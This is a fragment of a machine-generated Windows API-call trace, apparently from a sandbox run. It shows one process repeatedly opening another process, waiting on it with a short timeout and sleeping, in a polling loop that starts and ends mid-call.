0x102 [0258.154] CloseHandle (hObject=0xa84) returned 1 [0258.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.154] Sleep (dwMilliseconds=0x1) [0258.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa84 [0258.170] WaitForSingleObject (hHandle=0xa84, dwMilliseconds=0xa) returned 0x102 [0258.186] CloseHandle (hObject=0xa84) returned 1 [0258.186] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.186] Sleep (dwMilliseconds=0x1) [0258.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa84 [0258.201] WaitForSingleObject (hHandle=0xa84, dwMilliseconds=0xa) returned 0x102 [0258.217] CloseHandle (hObject=0xa84) returned 1 [0258.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.217] Sleep (dwMilliseconds=0x1) [0258.233] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa84 [0258.233] WaitForSingleObject (hHandle=0xa84, dwMilliseconds=0xa) returned 0x102 [0258.249] CloseHandle (hObject=0xa84) returned 1 [0258.249] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.250] Sleep (dwMilliseconds=0x1) [0258.264] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.264] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.279] CloseHandle (hObject=0xa94) returned 1 [0258.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.279] Sleep (dwMilliseconds=0x1) [0258.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.295] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.310] CloseHandle (hObject=0xa94) returned 1 [0258.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.311] Sleep (dwMilliseconds=0x1) [0258.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.326] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.342] CloseHandle (hObject=0xa94) returned 1 [0258.342] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.342] Sleep (dwMilliseconds=0x1) [0258.358] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.358] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.373] CloseHandle (hObject=0xa94) returned 1 [0258.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.373] Sleep (dwMilliseconds=0x1) [0258.389] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.389] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.404] CloseHandle (hObject=0xa94) returned 1 [0258.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.404] Sleep (dwMilliseconds=0x1) [0258.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.420] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.435] CloseHandle (hObject=0xa94) returned 1 [0258.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.436] Sleep (dwMilliseconds=0x1) [0258.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.451] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.467] CloseHandle (hObject=0xa94) returned 1 [0258.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.467] Sleep (dwMilliseconds=0x1) [0258.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.483] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.498] CloseHandle (hObject=0xa94) returned 1 [0258.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.498] Sleep (dwMilliseconds=0x1) [0258.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.514] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.529] CloseHandle (hObject=0xa94) returned 1 [0258.529] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.529] Sleep (dwMilliseconds=0x1) [0258.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.545] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.560] CloseHandle (hObject=0xa94) returned 1 [0258.561] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.561] Sleep (dwMilliseconds=0x1) [0258.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.576] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.592] CloseHandle (hObject=0xa94) returned 1 [0258.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.592] Sleep (dwMilliseconds=0x1) [0258.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.607] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.623] CloseHandle (hObject=0xa94) returned 1 [0258.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.623] Sleep (dwMilliseconds=0x1) [0258.639] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.639] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.654] CloseHandle (hObject=0xa94) returned 1 [0258.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.654] Sleep (dwMilliseconds=0x1) [0258.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.670] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.686] CloseHandle (hObject=0xa94) returned 1 [0258.686] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.686] Sleep (dwMilliseconds=0x1) [0258.701] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.701] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.717] CloseHandle (hObject=0xa94) returned 1 [0258.717] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.717] Sleep (dwMilliseconds=0x1) [0258.742] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.742] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.752] CloseHandle (hObject=0xa94) returned 1 [0258.752] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.752] Sleep (dwMilliseconds=0x1) [0258.772] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.772] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.779] CloseHandle (hObject=0xa94) returned 1 [0258.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.779] Sleep (dwMilliseconds=0x1) [0258.795] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.795] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.811] CloseHandle (hObject=0xa94) returned 1 [0258.811] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.811] Sleep (dwMilliseconds=0x1) [0258.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa94 [0258.826] WaitForSingleObject (hHandle=0xa94, dwMilliseconds=0xa) returned 0x102 [0258.842] CloseHandle (hObject=0xa94) returned 1 [0258.842] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.842] Sleep (dwMilliseconds=0x1) [0258.882] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa98 [0258.882] WaitForSingleObject (hHandle=0xa98, dwMilliseconds=0xa) returned 0x102 [0258.888] CloseHandle (hObject=0xa98) returned 1 [0258.888] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.889] Sleep (dwMilliseconds=0x1) [0258.912] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa98 [0258.912] WaitForSingleObject (hHandle=0xa98, dwMilliseconds=0xa) returned 0x102 [0258.920] CloseHandle (hObject=0xa98) returned 1 [0258.921] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.921] Sleep (dwMilliseconds=0x1) [0258.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xa98 [0258.935] WaitForSingleObject (hHandle=0xa98, dwMilliseconds=0xa) returned 0x102 [0258.951] CloseHandle (hObject=0xa98) returned 1 [0258.951] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.951] Sleep (dwMilliseconds=0x1) [0258.968] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xaa0 [0258.968] WaitForSingleObject (hHandle=0xaa0, dwMilliseconds=0xa) returned 0x102 [0258.982] CloseHandle (hObject=0xaa0) returned 1 [0258.982] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0258.982] Sleep (dwMilliseconds=0x1) [0258.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xaa0 [0258.999] WaitForSingleObject (hHandle=0xaa0, dwMilliseconds=0xa) returned 0x102 [0259.014] CloseHandle (hObject=0xaa0) returned 1 [0259.014] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.014] Sleep (dwMilliseconds=0x1) [0259.029] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xaa0 [0259.030] WaitForSingleObject (hHandle=0xaa0, dwMilliseconds=0xa) returned 0x102 [0259.045] CloseHandle (hObject=0xaa0) returned 1 [0259.045] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.045] Sleep (dwMilliseconds=0x1) [0259.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xaa0 [0259.060] WaitForSingleObject (hHandle=0xaa0, dwMilliseconds=0xa) returned 0x102 [0259.076] CloseHandle (hObject=0xaa0) returned 1 [0259.076] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.076] Sleep (dwMilliseconds=0x1) [0259.092] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xaa0 [0259.092] WaitForSingleObject (hHandle=0xaa0, dwMilliseconds=0xa) returned 0x102 [0259.107] CloseHandle (hObject=0xaa0) returned 1 [0259.107] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.107] Sleep (dwMilliseconds=0x1) [0259.126] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xabc [0259.126] WaitForSingleObject (hHandle=0xabc, dwMilliseconds=0xa) returned 0x102 [0259.139] CloseHandle (hObject=0xabc) returned 1 [0259.139] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.139] Sleep (dwMilliseconds=0x1) [0259.154] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xad8 [0259.154] WaitForSingleObject (hHandle=0xad8, dwMilliseconds=0xa) returned 0x102 [0259.170] CloseHandle (hObject=0xad8) returned 1 [0259.170] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.170] Sleep (dwMilliseconds=0x1) [0259.185] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xad8 [0259.185] WaitForSingleObject (hHandle=0xad8, dwMilliseconds=0xa) returned 0x102 [0259.201] CloseHandle (hObject=0xad8) returned 1 [0259.201] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.201] Sleep (dwMilliseconds=0x1) [0259.217] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xad8 [0259.217] WaitForSingleObject (hHandle=0xad8, dwMilliseconds=0xa) returned 0x102 [0259.234] CloseHandle (hObject=0xad8) returned 1 [0259.234] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.234] Sleep (dwMilliseconds=0x1) [0259.250] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb00 [0259.250] WaitForSingleObject (hHandle=0xb00, dwMilliseconds=0xa) returned 0x102 [0259.265] CloseHandle (hObject=0xb00) returned 1 [0259.265] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.265] Sleep (dwMilliseconds=0x1) [0259.279] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb24 [0259.279] WaitForSingleObject (hHandle=0xb24, dwMilliseconds=0xa) returned 0x102 [0259.289] CloseHandle (hObject=0xb24) returned 1 [0259.289] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.289] Sleep (dwMilliseconds=0x1) [0259.291] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb24 [0259.291] WaitForSingleObject (hHandle=0xb24, dwMilliseconds=0xa) returned 0x102 [0259.324] CloseHandle (hObject=0xb24) returned 1 [0259.324] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.325] Sleep (dwMilliseconds=0x1) [0259.339] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb2c [0259.339] WaitForSingleObject (hHandle=0xb2c, dwMilliseconds=0xa) returned 0x102 [0259.356] CloseHandle (hObject=0xb2c) returned 1 [0259.356] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.356] Sleep (dwMilliseconds=0x1) [0259.371] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb2c [0259.371] WaitForSingleObject (hHandle=0xb2c, dwMilliseconds=0xa) returned 0x102 [0259.386] CloseHandle (hObject=0xb2c) returned 1 [0259.386] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.386] Sleep (dwMilliseconds=0x1) [0259.403] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb2c [0259.403] WaitForSingleObject (hHandle=0xb2c, dwMilliseconds=0xa) returned 0x102 [0259.417] CloseHandle (hObject=0xb2c) returned 1 [0259.417] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.417] Sleep (dwMilliseconds=0x1) [0259.433] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb2c [0259.433] WaitForSingleObject (hHandle=0xb2c, dwMilliseconds=0xa) returned 0x102 [0259.449] CloseHandle (hObject=0xb2c) returned 1 [0259.449] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.449] Sleep (dwMilliseconds=0x1) [0259.464] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.464] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.480] CloseHandle (hObject=0x300) returned 1 [0259.480] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.480] Sleep (dwMilliseconds=0x1) [0259.495] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.495] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.511] CloseHandle (hObject=0x300) returned 1 [0259.511] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.511] Sleep (dwMilliseconds=0x1) [0259.527] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.527] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.543] CloseHandle (hObject=0x300) returned 1 [0259.543] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.543] Sleep (dwMilliseconds=0x1) [0259.558] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.558] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.573] CloseHandle (hObject=0x300) returned 1 [0259.574] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.574] Sleep (dwMilliseconds=0x1) [0259.589] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.589] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.605] CloseHandle (hObject=0x300) returned 1 [0259.605] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.605] Sleep (dwMilliseconds=0x1) [0259.620] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.620] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.636] CloseHandle (hObject=0x300) returned 1 [0259.636] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.636] Sleep (dwMilliseconds=0x1) [0259.652] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.652] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.667] CloseHandle (hObject=0x300) returned 1 [0259.667] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.667] Sleep (dwMilliseconds=0x1) [0259.683] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.683] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.698] CloseHandle (hObject=0x300) returned 1 [0259.698] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.699] Sleep (dwMilliseconds=0x1) [0259.715] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.715] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.742] CloseHandle (hObject=0x300) returned 1 [0259.742] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.742] Sleep (dwMilliseconds=0x1) [0259.745] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.745] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.761] CloseHandle (hObject=0x300) returned 1 [0259.761] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.761] Sleep (dwMilliseconds=0x1) [0259.777] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.777] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.792] CloseHandle (hObject=0x300) returned 1 [0259.792] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.792] Sleep (dwMilliseconds=0x1) [0259.808] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.808] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.823] CloseHandle (hObject=0x300) returned 1 [0259.824] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.824] Sleep (dwMilliseconds=0x1) [0259.839] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.839] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.855] CloseHandle (hObject=0x300) returned 1 [0259.855] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.855] Sleep (dwMilliseconds=0x1) [0259.870] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.871] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.886] CloseHandle (hObject=0x300) returned 1 [0259.886] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.886] Sleep (dwMilliseconds=0x1) [0259.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.902] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.926] CloseHandle (hObject=0x300) returned 1 [0259.926] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.926] Sleep (dwMilliseconds=0x1) [0259.933] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.933] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.948] CloseHandle (hObject=0x300) returned 1 [0259.949] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.949] Sleep (dwMilliseconds=0x1) [0259.965] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.965] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0259.980] CloseHandle (hObject=0x300) returned 1 [0259.980] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0259.980] Sleep (dwMilliseconds=0x1) [0259.996] OpenProcess 